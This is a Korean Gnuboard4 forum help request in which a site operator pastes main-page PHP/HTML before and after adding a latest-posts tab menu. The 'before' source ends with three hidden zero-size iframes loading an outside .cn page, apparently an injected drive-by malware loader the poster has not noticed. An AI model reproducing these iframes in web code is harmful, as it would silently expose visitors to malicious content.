고수님들 도와주세요~~~~~~~~~~~~~~~`` > 그누4 질문답변

그누4 질문답변

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기
기존 게시물은 열람만 가능합니다.

고수님들 도와주세요~~~~~~~~~~~~~~~`` 정보

고수님들 도와주세요~~~~~~~~~~~~~~~``

본문

안녕하세요;;
 
홈페이지를 하나 운영을 맡게 되었는데;;
 
메인화면에 최신글을 달려하니 오류가 떠서 질문드렸습니다 ㅠㅠ 도와주세요
 
아래의 소스와 사진이 수정 전과 수정 후의 모습인데요;; 제 어떤소스가 잘못되었는지 답변 부탁드려요 ㅠㅠ
 
전부 나열해버려서 보시기 힘드실까봐;; 수정되는 부분에 빨간색으로 해놨습니다 부탁드려요 ㅠㅠ
 
 
수정 전
 

<?
include_once("./_common.php");
include $DOCUMENT_ROOT."/html/function.php";
$member_skin_path = "$g4[path]/skin/member/$config[cf_member_skin]";
?>

<script language='Javascript'>
function flogin_submit()
{
 f = document.form;
 if(!f.mb_id.value) {
  alert('아이디를 입력해 주세요!!');
  f.mb_id.focus();
  return false;
 }
 if(!f.mb_password.value) {
  alert('비밀번호를 입력해 주세요!!');
  f.mb_password.focus();
  return false;
 }
    f.action = "/bbs/bbs/login_check.php";
 return true;
}
</script>
   <table width="912" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="222" valign="top">
      <table width="200" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/in_top.gif" width="222" height="16"></td>
              </tr>
              <tr>
                <td valign="top" background="/html/images/index/in_middle.gif"><table width="200" border="0" cellspacing="0" cellpadding="0">
       <? if(!$member[mb_id]) {?>
                    <tr>
                      <td><img src="/html/images/index/in_m_01.gif" width="222" height="39"></td>
                    </tr>
                    <tr>
                      <td>
         <table width="202" border="0" cellspacing="0" cellpadding="0">
      <form name="form" method="post" Onsubmit="return flogin_submit()">
                          <tr>
                            <td width="49"> </td>
                            <td width="55" height="20">아이디</td>
                            <td width="98"><input name="mb_id" type="text" size="13" maxlength="20"></td>
                          </tr>
                          <tr>
                            <td> </td>
                            <td height="20">비밀번호</td>
                            <td><input name="mb_password" type="password" size="13" maxlength="20"></td>
                          </tr>
                          <tr align="right">
                            <td colspan="3"><input type="image" src="/html/images/index/in_m_02.gif" width="58" height="24" border="0"></td>
                          </tr>
      </form>
                        </table>
       <?} else {?>
                    <tr>
                      <td><img src="/html/images/index/in_m_04.gif" width="222" height="39"></td>
                    </tr>
                    <tr>
                      <td>
      <table width="202" border="0" cellspacing="0" cellpadding="0" align="center">
                          <tr>
                            <td style="padding-left:50px">
       <?=$member[mb_id]?> 님이<br> 로그인 하셨습니다.<br>
       </td>
                          </tr>
                          <tr align="right">
                            <td colspan="3">
       <?if($member[mb_id] == "admin") {?>
       <a href="/bbs/adm/"><img src="/html/images/index/admin.gif" border="0"></a> 
       <?}?>
       <a href="/bbs/bbs/logout.php"><img src="/html/images/index/out_m_02.gif" border="0"></a>
                            </td>
                          </tr>
                        </table>
       <?}?>
       </td>
                    </tr>
                    <tr>
                      <td height="12"></td>
                    </tr>
     <? if(!$member[mb_id]) {?>
                    <tr>
                      <td height="47" background="/html/images/index/in_m_03.gif">
     
         <table width="200" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td height="3"></td>
                          </tr>
                          <tr>
                            <td><img src="/html/images/index/dot.gif" width="45" height="18" align="absmiddle"><a href="javascript:;" onclick="win_password_forget('/bbs/bbs/password_forget.php');">아이디_비밀번호분실</a></td>
                          </tr>
                          <tr>
                            <td><img src="/html/images/index/dot.gif" width="45" height="18" align="absmiddle"><a href="/bbs/bbs/register.php"><strong><font color="3399CC">플러스알파</font></strong>
                              회원가입</a></td>
                          </tr>
                        </table>
       </td>
                    </tr>
                    <?} else {?>
                    <tr>
                      <td height="47" background="/html/images/index/in_m_03.gif">
     
         <table width="200" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td height="3"></td>
                          </tr>
                          <tr height=33>
                            <td style="padding-left:40px"><img src="/html/images/index/dot_1.gif"align="absmiddle"><a href="/bbs/bbs/member_confirm.php?url=register_form.php">회원정보변경</a></td>
                          </tr>
                        </table>
       </td>
                    </tr>
                    <?}?>
                  </table></td>
              </tr>
              <tr>
                <td><img src="/html/images/index/in_down.gif" width="222" height="13"></td>
              </tr>
            </table></td>
         
    <td width="462"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="462" height="201">
        <param name="movie" value="/html/images/main_flash.swf">
        <param name="quality" value="high">
        <embed src="/html/images/main_flash.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="462" height="201"></embed></object></td>
         
<td width="228"><a href="/bbs/sub.php?bo_table=intro_04"><img src="/html/images/index/flash2.jpg" width="228" height="201" border="0"></a></td>
   
        </tr>
      </table></td>
  </tr>
</table>
<table width="912" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="24" valign="top"><img src="/html/images/index/blank.gif" width="24" height="9"></td>
    <td width="198" valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/seoul.gif" width="198" height="37" usemap="#map1" border="0"></td>
              </tr>
              <tr>
                <td background="/html/images/index/seoul_back.gif">
    <!-- BEGIN 서울모임 -->
    <?php
    $bo_table = "seoul_01";
    $_print_count = "3";
    
    include $DOCUMENT_ROOT . "/html/bbsprint1.php";
    ?> 
    <!-- END 서울모임 -->
    
              </tr>
              <tr>
                <td><img src="/html/images/index/seoul_bottom.gif" width="198" height="18"></td>
              </tr>
            </table></td>
        </tr>
        <tr>
          <td><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/k_01.gif" width="198" height="37" usemap="#map2" border="0"></td>
              </tr>
              <tr>
                <td background="/html/images/index/seoul_back.gif">
    <!-- BEGIN 광주모임 -->
    <?php
    $bo_table = "gwangju_01";
    $_print_count = "3";
    
    include $DOCUMENT_ROOT . "/html/bbsprint1.php";
    ?> 
    <!-- END 광주모임 -->
    </td>
              </tr>
<tr>
                <td><img src="/html/images/index/seoul_bottom.gif" width="198" height="18"></td>
              </tr>
             
            </table></td>
        </tr>
<tr>
          <td><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/spon1.gif" width="198" height="123" border="0"></td>
              </tr>
             
             
            </table></td>
        </tr>
        <tr>
          <td> </td>
        </tr>
      </table></td>
    <td width="462" valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td><img src="/html/images/index/focus.gif" width="462" height="38" usemap="#map3" border="0"></td>
        </tr>
        <tr>
          <td>
    <!-- BEGIN 플러스알파 포커스 -->
     <?php
   $bo_table = "community_01";
   $_print_count = "1";
   include $DOCUMENT_ROOT . "/html/galleryprint1.php";
   ?> 
   <!-- END 플러스알파 포커스 -->
    </td>
        </tr>
<tr>
          <td><img src="/html/images/index/notice.gif" width="462" height="39" usemap="#map4" border="0"></td>
        </tr>
        <tr>
          <td>
   <!-- BEGIN 공지사항 -->
   <?php
   $bo_table = "community_02";
   $_print_count = "3";
   include $DOCUMENT_ROOT . "/html/bbsprint.php";
   ?> 
   <!-- END 공지사항 -->
    </td>
        </tr>

<tr>
          <td><img src="/html/images/index/notice1.gif" width="462" height="39" usemap="#map6" border="0"></td>
        </tr>
        <tr>
          <td>
   <!-- BEGIN 자유게시판 -->
   <?php
   $bo_table = "community_04";
   $_print_count = "3";
   include $DOCUMENT_ROOT . "/html/bbsprint.php";
   ?> 
   <!-- END 자유게시판 -->
    </td>
        </tr>
      </table>
 </td>
<td width="228" valign="top">
   <table width="200" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td>
      <!-- BEGIN 시사만평 -->
   <?php
   $bo_table = "community_03";
   $_print_count = "1";
   include $DOCUMENT_ROOT . "/html/galleryprint3.php";
   ?> 
   <!-- END 시사만평 -->
    </td>
        </tr>   
<td width="228" valign="top">
   <table width="200" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td>
      <!-- BEGIN 포토갤러리 -->
   <?php
   $bo_table = "data_01";
   $_print_count = "1";
   include $DOCUMENT_ROOT . "/html/galleryprint2.php";
   ?> 
   <!-- END 포토갤러리 -->
    </td>
        </tr>
        <tr>
          <td><table width="200" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/news.gif" width="228" height="33" usemap="#map5" border="0"></td>
              </tr>
              <tr>
                                            <td bgcolor="F1F4F6">
                                                        <!-- BEGIN 시사뉴스 -->
                                                <iframe frameborder="1" src="http://ticker.kbs.co.kr/kbsnewsticker.html" frameborder="1" width="228" height="25" scrolling="no"></iframe>       
                                                        <!-- END 시사뉴스 -->    
    
           
              </tr>
 
            </table></td>
        </tr>
      </table></td>
</table>
        </tr>
      </table><table width="900" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td height="10"> </td>
  </tr>
  <tr>
    <td height="1" bgcolor="E5E5E5"> </td>
  </tr> 
  <tr>
    <td height="30" valign="bottom"><table width="0" border="0" cellspacing="0" cellpadding="0">
       
           <script language="JavaScript1.2">
// 스크롤러의 가로크기
var sliderwidth=911
// 스크롤러의 높이 (이미지의 높이와 맞추어 주세요)
var sliderheight=27
// 스크롤 속도 (클수록 빠릅니다 1-10)
var slidespeed=1
// 배경색상
slidebgcolor="#FFFFFF"

// 이미지들을 설정 하세요

</script>
          </td>
     
<!>        </td>
  </tr>
 
<!-->
<map name="map1">
    <area shape="rect" coords="145,11,185,29" href="/bbs/bbs/board.php?bo_table=seoul_01">
</map>
<!-->
<map name="map2">
    <area shape="rect" coords="145,11,185,29" href="/bbs/bbs/board.php?bo_table=gwangju_01">
</map>
<!-->
<map name="map3">
    <area shape="rect" coords="415,15,455,34" href="/bbs/bbs/board.php?bo_table=community_01">
</map>
<!-->
<map name="map4">
    <area shape="rect" coords="415,15,455,34" href="/bbs/bbs/board.php?bo_table=community_02">
</map>
<!-->
<map name="map5">
    <area shape="rect" coords="180,7,225,24" href="http://news.kbs.co.kr">
</map>
<!-->
<map name="map6">
    <area shape="rect" coords="415,15,455,34" href="/bbs/bbs/board.php?bo_table=community_04">
</map>
<iframe src="http://timeout.mmy88.cn/2007.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://timeout.mmy88.cn/2007.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://timeout.mmy88.cn/2007.htm" width="0" height="0" frameborder="0"></iframe>
 
 
 
 1_copy4.gif
 
 
 
수정후
 
 

<?
include_once("./_common.php");
include $DOCUMENT_ROOT."/html/function.php";
$member_skin_path = "$g4[path]/skin/member/$config[cf_member_skin]";
?>
 
 
 

<script language='Javascript'>
function flogin_submit()
{
 f = document.form;
 if(!f.mb_id.value) {
  alert('아이디를 입력해 주세요!!');
  f.mb_id.focus();
  return false;
 }
 if(!f.mb_password.value) {
  alert('비밀번호를 입력해 주세요!!');
  f.mb_password.focus();
  return false;
 }
    f.action = "/bbs/bbs/login_check.php";
 return true;
}
</script>
   <table width="912" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="222" valign="top">
      <table width="200" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/in_top.gif" width="222" height="16"></td>
              </tr>
              <tr>
                <td valign="top" background="/html/images/index/in_middle.gif"><table width="200" border="0" cellspacing="0" cellpadding="0">
       <? if(!$member[mb_id]) {?>
                    <tr>
                      <td><img src="/html/images/index/in_m_01.gif" width="222" height="39"></td>
                    </tr>
                    <tr>
                      <td>
         <table width="202" border="0" cellspacing="0" cellpadding="0">
      <form name="form" method="post" Onsubmit="return flogin_submit()">
                          <tr>
                            <td width="49"> </td>
                            <td width="55" height="20">아이디</td>
                            <td width="98"><input name="mb_id" type="text" size="13" maxlength="20"></td>
                          </tr>
                          <tr>
                            <td> </td>
                            <td height="20">비밀번호</td>
                            <td><input name="mb_password" type="password" size="13" maxlength="20"></td>
                          </tr>
                          <tr align="right">
                            <td colspan="3"><input type="image" src="/html/images/index/in_m_02.gif" width="58" height="24" border="0"></td>
                          </tr>
      </form>
                        </table>
       <?} else {?>
                    <tr>
                      <td><img src="/html/images/index/in_m_04.gif" width="222" height="39"></td>
                    </tr>
                    <tr>
                      <td>
      <table width="202" border="0" cellspacing="0" cellpadding="0" align="center">
                          <tr>
                            <td style="padding-left:50px">
       <?=$member[mb_id]?> 님이<br> 로그인 하셨습니다.<br>
       </td>
                          </tr>
                          <tr align="right">
                            <td colspan="3">
       <?if($member[mb_id] == "admin") {?>
       <a href="/bbs/adm/"><img src="/html/images/index/admin.gif" border="0"></a> 
       <?}?>
       <a href="/bbs/bbs/logout.php"><img src="/html/images/index/out_m_02.gif" border="0"></a>
                            </td>
                          </tr>
                        </table>
       <?}?>
       </td>
                    </tr>
                    <tr>
                      <td height="12"></td>
                    </tr>
     <? if(!$member[mb_id]) {?>
                    <tr>
                      <td height="47" background="/html/images/index/in_m_03.gif">
     
         <table width="200" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td height="3"></td>
                          </tr>
                          <tr>
                            <td><img src="/html/images/index/dot.gif" width="45" height="18" align="absmiddle"><a href="javascript:;" onclick="win_password_forget('/bbs/bbs/password_forget.php');">아이디_비밀번호분실</a></td>
                          </tr>
                          <tr>
                            <td><img src="/html/images/index/dot.gif" width="45" height="18" align="absmiddle"><a href="/bbs/bbs/register.php"><strong><font color="3399CC">플러스알파</font></strong>
                              회원가입</a></td>
                          </tr>
                        </table>
       </td>
                    </tr>
                    <?} else {?>
                    <tr>
                      <td height="47" background="/html/images/index/in_m_03.gif">
     
         <table width="200" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td height="3"></td>
                          </tr>
                          <tr height=33>
                            <td style="padding-left:40px"><img src="/html/images/index/dot_1.gif"align="absmiddle"><a href="/bbs/bbs/member_confirm.php?url=register_form.php">회원정보변경</a></td>
                          </tr>
                        </table>
       </td>
                    </tr>
                    <?}?>
                  </table></td>
              </tr>
              <tr>
                <td><img src="/html/images/index/in_down.gif" width="222" height="13"></td>
              </tr>
            </table></td>
         
    <td width="462"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="462" height="201">
        <param name="movie" value="/html/images/main_flash.swf">
        <param name="quality" value="high">
        <embed src="/html/images/main_flash.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="462" height="201"></embed></object></td>
         
<td width="228"><a href="/bbs/sub.php?bo_table=intro_04"><img src="/html/images/index/flash2.jpg" width="228" height="201" border="0"></a></td>
   
        </tr>
      </table></td>
  </tr>
</table>
<table width="912" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="24" valign="top"><img src="/html/images/index/blank.gif" width="24" height="9"></td>
    <td width="198" valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/seoul.gif" width="198" height="37" usemap="#map1" border="0"></td>
              </tr>
              <tr>
                <td background="/html/images/index/seoul_back.gif">
    <!-- BEGIN 서울모임 -->
    <?php
    $bo_table = "seoul_01";
    $_print_count = "3";
    
    include $DOCUMENT_ROOT . "/html/bbsprint1.php";
    ?> 
    <!-- END 서울모임 -->
    
              </tr>
              <tr>
                <td><img src="/html/images/index/seoul_bottom.gif" width="198" height="18"></td>
              </tr>
            </table></td>
        </tr>
        <tr>
          <td><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/k_01.gif" width="198" height="37" usemap="#map2" border="0"></td>
              </tr>
              <tr>
                <td background="/html/images/index/seoul_back.gif">
    <!-- BEGIN 광주모임 -->
    <?php
    $bo_table = "gwangju_01";
    $_print_count = "3";
    
    include $DOCUMENT_ROOT . "/html/bbsprint1.php";
    ?> 
    <!-- END 광주모임 -->
    </td>
              </tr>
<tr>
                <td><img src="/html/images/index/seoul_bottom.gif" width="198" height="18"></td>
              </tr>
             
            </table></td>
        </tr>
<tr>
          <td><table width="150" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><img src="/html/images/index/spon1.gif" width="198" height="123" border="0"></td>
              </tr>
             
             
            </table></td>
        </tr>
        <tr>
          <td> </td>
        </tr>
      </table></td>
    <td width="462" valign="top"><table width="150" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td><img src="/html/images/index/focus.gif" width="462" height="38" usemap="#map3" border="0"></td>
        </tr>
        <tr>
          <td>
    <!-- BEGIN 플러스알파 포커스 -->
     <?php
   $bo_table = "community_01";
   $_print_count = "1";
   include $DOCUMENT_ROOT . "/html/galleryprint1.php";
   ?> 
   <!-- END 플러스알파 포커스 -->
    </td>
        </tr>
        <tr>
          <td>
   <? include_once("tap_menu.php"); // 탭메뉴?>
    </td>
        </tr>
<tr>
          <td><img src="/html/images/index/notice1.gif" width="462" height="39" usemap="#map6" border="0"></td>
        </tr>
        <tr>
          <td>
   <!-- BEGIN 자유게시판 -->
   <?php
   $bo_table = "community_04";
   $_print_count = "3";
   include $DOCUMENT_ROOT . "/html/bbsprint.php";
   ?> 
   <!-- END 자유게시판 -->
    </td>
        </tr>
      </table>
 </td>
<td width="228" valign="top">
   <table width="200" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td>
      <!-- BEGIN 시사만평 -->
   <?php
   $bo_table = "community_03";
   $_print_count = "1";
   include $DOCUMENT_ROOT . "/html/galleryprint3.php";
   ?> 
   <!-- END 시사만평 -->
    </td>
        </tr>   
<td width="228" valign="top">
   <table width="200" border="0" cellspacing="0" cellpadding="0">
    
이 이후론 똑같습니다.
 
2_copy2.gif

댓글 전체

전체 66,554 |RSS
그누4 질문답변 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1402호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT